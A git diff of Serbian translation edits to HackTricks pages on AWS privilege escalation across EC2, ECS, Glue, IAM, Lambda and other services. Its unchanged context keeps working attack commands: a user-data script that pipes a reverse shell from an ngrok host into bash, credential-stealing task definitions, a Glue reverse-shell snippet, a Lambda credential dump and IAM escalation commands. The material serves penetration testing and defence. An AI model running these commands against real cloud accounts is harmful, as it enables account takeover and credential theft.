@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Pristup putem rev shell-a u korisničkim podacima**
-Možete pokrenuti novu instancu koristeći **korisničke podatke** (`--user-data`) koji će vam poslati **rev shell**. Na ovaj način ne morate da specificirate bezbednosnu grupu.
+Možete pokrenuti novu instancu koristeći **korisničke podatke** (`--user-data`) koji će vam poslati **rev shell**. Na ovaj način ne morate da specificirate sigurnosnu grupu.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. Može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije objašnjeno), i **povezati profil instance** sa kompromitovanom i**nstancom:**
+Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. On može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije diskutovano), i **povezati profil instance** sa kompromitovanom **instancom:**
- Ako instanca **nema nijedan profil** instance (`ec2:AssociateIamInstanceProfile`) \*
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Potencijalni Uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i imate dodatne dozvole ili specifičan status profila instanci).
+**Potencijalni Uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Sa ovim dozvolama moguće je promeniti profil instanci povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade akreditive za više uloga profila instanci menjajući onaj koji je povezan sa njom.
+Sa ovim dozvolama moguće je promeniti instance profil povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade akreditive za više uloga instance profila menjajući onaj koji je povezan sa njom.
-- Ako **ima profil instanci**, možete **ukloniti** profil instanci (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga \*
+- Ako **ima instance profil**, možete **ukloniti** instance profil (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga \*
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
@@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= \
@@ -91,7 +91,7 @@ aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name
### `ecr:PutRegistryPolicy`
-Napadač sa ovom dozvolom mogao bi **promeniti** **politiku repozitorijuma** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje/pisanje**.
+Napadač sa ovom dozvolom mogao bi **promeniti** **politiku registra** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje/pisanje**.
```bash
aws ecr set-repository-policy \
--repository-name \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index fc73ff6a9..3bc02a288 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -12,7 +12,7 @@ Više **informacija o ECS** u:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade metapodatke akreditiva i **pokrenuti ga**.
+Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti ga**.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
-Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade metapodatke akreditiva i **pokrenuti je kreiranjem nove usluge sa najmanje 1 zadatkom koji se izvršava.**
+Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti je kreiranjem nove usluge sa najmanje 1 aktivnim zadatkom.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -98,7 +98,7 @@ aws ecs run-task \
Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
Ovo je i dalje zanimljivo jer ako možete pokrenuti proizvoljni kontejner, čak i bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukradete EC2 IAM ulogu** i **druge ECS uloge kontejnera** koje se izvršavaju na čvoru.\
-Možete čak i **prisiliti druge zadatke da se izvršavaju unutar EC2 instance** koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u [**odeljku Privesc na čvor**](aws-ecs-privesc.md#privesc-to-node)).
+Možete čak i **prisiliti druge zadatke da se izvršavaju unutar EC2 instance** koju kompromitujete da biste ukrali njihove akreditive (kao što je objašnjeno u [**Privesc na čvor sekciji**](aws-ecs-privesc.md#privesc-to-node)).
> [!WARNING]
> Ovaj napad je moguć samo ako **ECS klaster koristi EC2** instance, a ne Fargate.
@@ -144,8 +144,8 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebna su prava za opis jer je neophodno pokrenuti `aws ecs execute-command`).\
-Međutim, da bi to uradio, instanca kontejnera mora da pokreće **ExecuteCommand agent** (što po defaultu nije slučaj).
+Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebne su dozvole za opis jer je neophodno pokrenuti `aws ecs execute-command`).\
+Međutim, da bi to uradio, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (što po defaultu nije slučaj).
Stoga, napadač može pokušati da:
@@ -194,12 +194,12 @@ aws-ec2-privesc.md
### `?ecs:RegisterContainerInstance`
-TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se zadaci pokreću na mašinama koje kontroliše napadač??
+TODO: Da li je moguće registrovati instancu iz drugog AWS naloga tako da se zadaci izvršavaju na mašinama koje kontroliše napadač??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
-> TODO: Testirajte ovo
+> TODO: Testirati ovo
Napadač sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati zloćudni set zadataka za postojeći ECS servis i ažurirati primarni set zadataka**. Ovo omogućava napadaču da **izvrši proizvoljan kod unutar servisa**.
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index a66863140..1fb207acc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -14,7 +14,7 @@ Zapamtite da da biste montirali EFS, morate biti u podmreži gde je EFS izložen
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-Sa bilo kojom od tih dozvola, napadač može **promeniti politiku datotečnog sistema** da **omogući pristup** njemu, ili samo **izbrisati** tako da se **default pristup** dodeli.
+Sa bilo kojom od tih dozvola, napadač može **promeniti politiku datotečnog sistema** da **omogući pristup** ili jednostavno **izbrisati** tako da se **default pristup** odobri.
Da biste izbrisali politiku:
```bash
@@ -60,18 +60,18 @@ sudo mount -t efs -o tls,iam :/ /efs/
```
Dodatne dozvole `elasticfilesystem:ClientRootAccess` i `elasticfilesystem:ClientWrite` mogu se koristiti za **pisanje** unutar datotečnog sistema nakon što je montiran i za **pristup** tom datotečnom sistemu **kao root**.
-**Potencijalni uticaj:** Indirektno privesc pronalaženjem osetljivih informacija u datotečnom sistemu.
+**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u datotečnom sistemu.
### `elasticfilesystem:CreateMountTarget`
-Ako je napadač unutar **podmreže** gde **nema mount target** EFS-a. On bi mogao jednostavno **da kreira jedan u svojoj podmreži** sa ovom privilegijom:
+Ako je napadač unutar **podmreže** gde **ne postoji montažna tačka** EFS-a. On bi mogao jednostavno **da kreira jednu u svojoj podmreži** sa ovom privilegijom:
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id \
--subnet-id \
--security-groups
```
-**Potencijalni uticaj:** Indirektno privesc pronalaženjem osetljivih informacija u fajl sistemu.
+**Potencijalni uticaj:** Indirektno povećanje privilegija pronalaženjem osetljivih informacija u fajl sistemu.
### `elasticfilesystem:ModifyMountTargetSecurityGroups`
@@ -81,6 +81,6 @@ aws efs modify-mount-target-security-groups \
--mount-target-id \
--security-groups
```
-**Potencijalni uticaj:** Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu.
+**Potencijalni Uticaj:** Indirektno eskaliranje privilegija pronalaženjem osetljivih informacija u fajl sistemu.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index 7509d0551..eea879c6f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -30,7 +30,7 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
```
-### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još...
+### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, i još mnogo toga...
Pomenute, plus nekoliko **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** i **`elasticloadbalancing`** dozvola su neophodne za kreiranje osnovnog Elastic Beanstalk scenarija od nule.
@@ -48,7 +48,7 @@ Ako je okruženje već kreirano i **ne želite da kreirate novo**, možete jedno
```python
zip -r MyApp.zip .
```
-- Učitajte ZIP datoteku u S3 kantu:
+- Otvorite ZIP datoteku u S3 kofu:
```python
aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip
```
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
{{#endtab }}
{{#endtabs }}
-Kada imate **svoju Beanstalk okolinu koja radi** vašu rev shell, vreme je da je **migrate** u **žrtvinu** okolinu. Da biste to uradili, potrebno je da **ažurirate Bucket Policy** vašeg beanstalk S3 bucket-a tako da **žrtva može da mu pristupi** (Napomena: ovo će **otvoriti** Bucket za **SVE**):
+Kada imate **svoju Beanstalk okolinu koja radi** vašu rev shell, vreme je da je **migrate** u **žrtvinu** okolinu. Da biste to uradili, potrebno je da **ažurirate Bucket Policy** vašeg beanstalk S3 bucket-a kako bi **žrtva mogla da mu pristupi** (Napomena: ovo će **otvoriti** Bucket za **SVE**):
```json
{
"Version": "2008-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
index 4f630f03e..68cda0fb2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -13,7 +13,7 @@ Više **informacija o EMR** u:
### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
Napadač sa ovim dozvolama može **pokrenuti novi EMR klaster povezujući EC2 uloge** i pokušati da ukrade njegove akreditive.\
-Imajte na umu da bi za to trebalo da **znate neki ssh privatni ključ uvezen u nalog** ili da uvezete jedan, i da možete da **otvorite port 22 na glavnom čvoru** (možda ćete moći to da uradite sa atributima `EmrManagedMasterSecurityGroup` i/ili `ServiceAccessSecurityGroup` unutar `--ec2-attributes`).
+Imajte na umu da je za to potrebno **znati neki ssh privatni ključ uvezen u nalog** ili uvesti jedan, i biti u mogućnosti da **otvorite port 22 na glavnom čvoru** (možda ćete moći to da uradite sa atributima `EmrManagedMasterSecurityGroup` i/ili `ServiceAccessSecurityGroup` unutar `--ec2-attributes`).
```bash
# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
@@ -36,13 +36,13 @@ aws emr describe-cluster --cluster-id
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances
```
-Napomena kako je **EMR uloga** specificirana u `--service-role` i **ec2 uloga** je specificirana u `--ec2-attributes` unutar `InstanceProfile`. Međutim, ova tehnika omogućava samo krađu EC2 uloge akreditiva (jer ćete se povezati putem ssh), ali ne i EMR IAM uloge.
+Napomena kako je **EMR uloga** specificirana u `--service-role` i **ec2 uloga** je specificirana u `--ec2-attributes` unutar `InstanceProfile`. Međutim, ova tehnika samo omogućava krađu EC2 uloge (jer ćete se povezati putem ssh), ali ne i EMR IAM uloge.
**Potencijalni uticaj:** Privesc na EC2 servisnu ulogu koja je specificirana.
### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i pristupiti mu da ukrade IAM ulogu.
+Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i pristupiti mu kako bi ukrao IAM ulogu.
> [!CAUTION]
> Čak i ako prikačite IAM ulogu na instancu notebook-a, u mojim testovima sam primetio da sam mogao da ukradem AWS upravljane akreditive, a ne akreditive povezane sa IAM ulogom.
@@ -51,7 +51,7 @@ Sa ovim dozvolama, napadač može otići na **AWS konzolu**, kreirati Notebook i
### `elasticmapreduce:OpenEditorInConsole`
-Samo sa ovom dozvolom, napadač će moći da pristupi **Jupyter Notebook-u i ukrade IAM ulogu** koja mu je povezana.\
+Samo sa ovom dozvolom, napadač će moći da pristupi **Jupyter Notebook-u i ukrade IAM ulogu** koja mu pripada.\
URL notebook-a je `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/`
> [!CAUTION]
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
index b47b56fdd..168525575 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -4,12 +4,12 @@
### `gamelift:RequestUploadCredentials`
-Sa ovom dozvolom, napadač može da dobije **novi set kredencijala za korišćenje prilikom otpremanja** novog skupa datoteka za izgradnju igre na Amazon GameLift-ov Amazon S3. Vraća **S3 kredencijale za otpremanje**.
+Sa ovom dozvolom, napadač može da dobije **novi set kredencijala za korišćenje prilikom učitavanja** novog seta datoteka za izgradnju igre na Amazon GameLift-ov Amazon S3. Vraća **S3 kredencijale za učitavanje**.
```bash
aws gamelift request-upload-credentials \
--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
```
-## References
+## Reference
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index 695531aa5..2931ed42d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
-**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja se koristi.
+**Potencijalni uticaj:** Privesc na ulogu servisa glue koja se koristi.
### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
-Korisnici sa **`iam:PassRole`** u kombinaciji sa bilo kojim od **`glue:CreateJob` ili `glue:UpdateJob`**, i bilo kojim od **`glue:StartJobRun` ili `glue:CreateTrigger`** mogu **napraviti ili ažurirati AWS Glue posao**, pridružujući bilo koji **Glue servisni nalog**, i pokrenuti izvršenje posla. Mogućnosti posla uključuju izvršavanje proizvoljnog Python koda, što se može iskoristiti za uspostavljanje reverzibilne ljuske. Ova reverzibilna ljuska se zatim može koristiti za eksfiltraciju **IAM kredencijala** uloge pridružene Glue poslu, što može dovesti do potencijalnog neovlašćenog pristupa ili radnji na osnovu dozvola te uloge:
+Korisnici sa **`iam:PassRole`** u kombinaciji sa bilo kojim od **`glue:CreateJob` ili `glue:UpdateJob`**, i bilo kojim od **`glue:StartJobRun` ili `glue:CreateTrigger`** mogu **kreirati ili ažurirati AWS Glue posao**, pridružujući bilo koji **Glue servisni nalog**, i pokrenuti izvršenje posla. Mogućnosti posla uključuju izvršavanje proizvoljnog Python koda, što se može iskoristiti za uspostavljanje reverzibilne ljuske. Ova reverzibilna ljuska se zatim može koristiti za eksfiltraciju **IAM kredencijala** uloge pridružene Glue poslu, što može dovesti do potencijalnog neovlašćenog pristupa ili radnji na osnovu dozvola te uloge:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
@@ -71,13 +71,13 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
```
-**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja je specificirana.
+**Potencijalni Uticaj:** Privesc na ulogu glue servisa koja je specificirana.
### `glue:UpdateJob`
-Samo sa dozvolom za ažuriranje, napadač bi mogao da ukrade IAM kredencijale već prikačene uloge.
+Samo sa dozvolom za ažuriranje, napadač bi mogao da ukrade IAM kredencijale već pridružene uloge.
-**Potencijalni Uticaj:** Privesc na ulogu servisa glue koja je prikačena.
+**Potencijalni Uticaj:** Privesc na ulogu glue servisa koja je pridružena.
## Reference
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index f23d194b8..79855f263 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
@@ -14,16 +14,16 @@ Za više informacija o IAM-u pogledajte:
Daje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za `iam:SetDefaultPolicyVersion` dozvolom korišćenjem `--set-as-default` oznake. Ovo omogućava definisanje prilagođenih dozvola.
-**Exploit Command:**
+**Eksploataciona komanda:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Uticaj:** Direktno escalira privilegije omogućavajući bilo koju akciju na bilo kojem resursu.
+**Uticaj:** Direktno povećava privilegije omogućavajući bilo koju akciju na bilo kojem resursu.
### **`iam:SetDefaultPolicyVersion`**
-Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno escalirajući privilegije ako nova verzija ima više dozvola.
+Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno povećavajući privilegije ako nova verzija ima više dozvola.
**Bash Komanda:**
```bash
@@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn --version-id
### **`iam:CreateAccessKey`**
-Omogućava kreiranje ID-a pristupnog ključa i tajnog pristupnog ključa za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija.
+Omogućava kreiranje ID ključa za pristup i tajnog ključa za pristup za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija.
**Eksploatacija:**
```bash
@@ -69,9 +69,9 @@ aws iam update-access-key --access-key-id --status Active --user
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr. CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika.
+Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr., CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika.
-**Eksploatacija za kreiranje:**
+**Eksploatacija za Kreiranje:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
@@ -93,7 +93,7 @@ aws iam attach-user-policy --user-name --policy-arn ""
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Uticaj:** Direktno povećanje privilegija na sve što politika odobrava.
+**Uticaj:** Direktno povećanje privilegija na sve što politika omogućava.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
@@ -141,7 +141,7 @@ aws iam add-user-to-group --group-name --user-name
### **`iam:UpdateAssumeRolePolicy`**
-Omogućava izmene dokumenta politike pretpostavljanja uloge, omogućavajući pretpostavljanje uloge i njenih povezanih dozvola.
+Omogućava izmenu dokumenta politike pretpostavljanja uloge, omogućavajući preuzimanje uloge i njenih povezanih dozvola.
**Eksploatacija:**
```bash
@@ -183,7 +183,7 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number \
--authentication-code1 --authentication-code2
@@ -194,7 +194,7 @@ aws iam resync-mfa-device --user-name --serial-number
Sa ovim dozvolama možete **promeniti XML metapodatke SAML veze**. Tada biste mogli zloupotrebiti **SAML federaciju** da se **prijavite** sa bilo kojom **ulogom koja joj veruje**.
-Imajte na umu da će **legitimni korisnici moći da se prijave**. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni nazad.
+Imajte na umu da će **legitimni korisnici moći da se prijave**. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -224,7 +224,7 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
```
-## References
+## Reference
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
index 683c3308f..6b3337b44 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
@@ -49,7 +49,7 @@ policy.json:
```
### `kms:CreateGrant`
-Omogućava **principal-u da koristi KMS ključ:**
+Ovo **omogućava principalu da koristi KMS ključ:**
```bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
@@ -76,9 +76,9 @@ aws kms list-grants --key-id
```
### `kms:CreateKey`, `kms:ReplicateKey`
-Sa ovim dozvolama moguće je replicirati KMS ključ omogućen za više regiona u drugom regionu sa drugom politikom.
+Sa ovim dozvolama moguće je replicirati KMS ključ omogućen za više regiona u drugom regionu sa drugačijom politikom.
-Dakle, napadač bi mogao da iskoristi ovo da dobije privesc svoj pristup ključa i koristi ga.
+Dakle, napadač bi mogao da iskoristi ovo da dobije privesc svoj pristup ključu i koristi ga.
```bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
index 7c9d8c302..8de3f424a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
@@ -13,7 +13,7 @@ Više informacija o lambda u:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:InvokeFunction`** dozvolama mogu da eskaliraju svoje privilegije.\
-Mogu **napraviti novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim **napisati i otpremiti kod u ovu Lambda funkciju (sa rev shell-om na primer)**.\
+Mogu **napraviti novu Lambda funkciju i dodeliti joj postojeću IAM ulogu**, dajući funkciji dozvole povezane sa tom ulogom. Korisnik može zatim **napisati i otpremiti kod u ovu Lambda funkciju (na primer, sa rev shell-om)**.\
Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i nameravane akcije pozivajući Lambda funkciju putem AWS API-ja. Ovaj pristup efikasno omogućava korisniku da izvršava zadatke indirektno kroz Lambda funkciju, delujući sa nivoom pristupa koji je dodeljen IAM ulozi povezanoj sa njom.\\
Napadač bi mogao da zloupotrebi ovo da dobije **rev shell i ukrade token**:
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
-Takođe je moguće iscuriti kredencijale uloge lambda bez potrebe za spoljnjom vezom. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno iscurite kredencijale kao izlaz lambda.
+Takođe je moguće otkriti kredencijale uloge lambda bez potrebe za spoljnim povezivanjem. Ovo bi bilo korisno za **Network isolated Lambdas** korišćene za interne zadatke. Ako postoje nepoznate sigurnosne grupe koje filtriraju vaše obrnute ljuske, ovaj deo koda će vam omogućiti da direktno otkrijete kredencijale kao izlaz lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,7 +72,7 @@ return {
aws lambda invoke --function-name output.txt
cat output.txt
```
-**Potencijalni Uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
+**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
> [!CAUTION]
> Imajte na umu da čak i ako izgleda zanimljivo **`lambda:InvokeAsync`** **ne** omogućava samo po sebi da **izvršite `aws lambda invoke-async`**, takođe vam je potrebna `lambda:InvokeFunction`
@@ -85,21 +85,21 @@ Kao u prethodnom scenariju, možete **dodeliti sebi dozvolu `lambda:InvokeFuncti
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
-**Potencijalni Uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
+**Potencijalni uticaj:** Direktno privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
-Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, i `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalirati privilegije** čak i bez `lambda:InvokeFunction`.\
-Mogu kreirati **Lambda funkciju sa zlonamernim kodom i dodeliti joj postojeću IAM ulogu**.
